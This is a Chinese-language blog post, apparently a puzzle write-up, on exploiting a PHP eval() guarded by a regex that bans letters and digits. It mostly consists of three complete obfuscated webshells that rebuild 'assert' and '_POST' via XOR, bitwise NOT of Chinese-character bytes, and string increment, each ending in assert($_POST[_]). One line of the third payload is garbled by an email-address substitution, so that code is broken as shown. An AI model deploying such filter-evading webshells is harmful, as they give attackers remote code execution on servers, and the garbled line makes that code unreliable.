一些不包含數字和字母的webshell
在小密圈提了個問題,“如何編寫一個不使用數字和字母的webshell”,並具體成如下程式碼:
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
那麼,這個程式碼如何利用?
思路
首先,明確思路。我的核心思路是,將非字母、數字的字元經過各種變換,最後能構造出a-z中任意一個字元。然後再利用PHP允許動態函式執行的特點,拼接處一個函式名,如“assert”,然後動態執行之即可。
那麼,變換方法 將是解決本題的要點。
不過在此之前,我需要說說php5和7的差異。
php5中assert是一個函式,我們可以通過$f='assert';$f(...);
但php7中,assert不再是函式,變成了一個語言結構(類似eval),不能再作為函式名動態執行程式碼,所以利用起來稍微複雜一點。但也無需過於擔心,比如我們利用file_put_contents函式,同樣可以用來getshell。
下文為了方便起見,使用PHP5作為環境,PHP7相關的利用方法自己探索吧。
方法一
這是最簡單、最容易想到的方法。在PHP中,兩個字串執行異或操作以後,得到的還是一個字串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字元,他們的異或結果是這個字母即可。
得到如下的結果(因為其中存在很多不可列印字元,所以我用url編碼表示了):
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
執行結果如下:
方法二
和方法一有異曲同工之妙,唯一差異就是,方法一使用的是位運算裡的“異或”,方法二使用的是位運算裡的“取反”。
方法二利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,比如'和'{2}
"\x8c"
,其取反即為字母s
:
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
這個答案還利用了PHP的弱型別特性。因為要獲取'和'{2}
,就必須有數字2。而PHP由於弱型別這個特性,true的值為1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
方法三
那麼,如果不用位運算這個套路,能不能搞定這題呢?有何不可。
也就是說,'a'++ => 'b'
,'b'++ => 'c'
... 所以,我們只要能拿到一個變數,其值為a
,通過自增操作即可獲得a-z中所有字元。
那麼,如何拿到一個值為字串'a'的變數呢?
巧了,陣列(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等於我們就可以拿到a-z和A-Z的所有字母。
在PHP中,如果強制連線陣列和字串的話,陣列將被轉換成字串,其值為Array
:
再取這個字串的第一個字母,就可以獲得'A'了。
利用這個技巧,我編寫了如下webshell(因為PHP函式是大小寫不敏感的,所以我們最終執行的是ASSERT($_POST[_])
,無需獲取小寫a):
<?php
$_=[];
[email protected]"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
執行結果: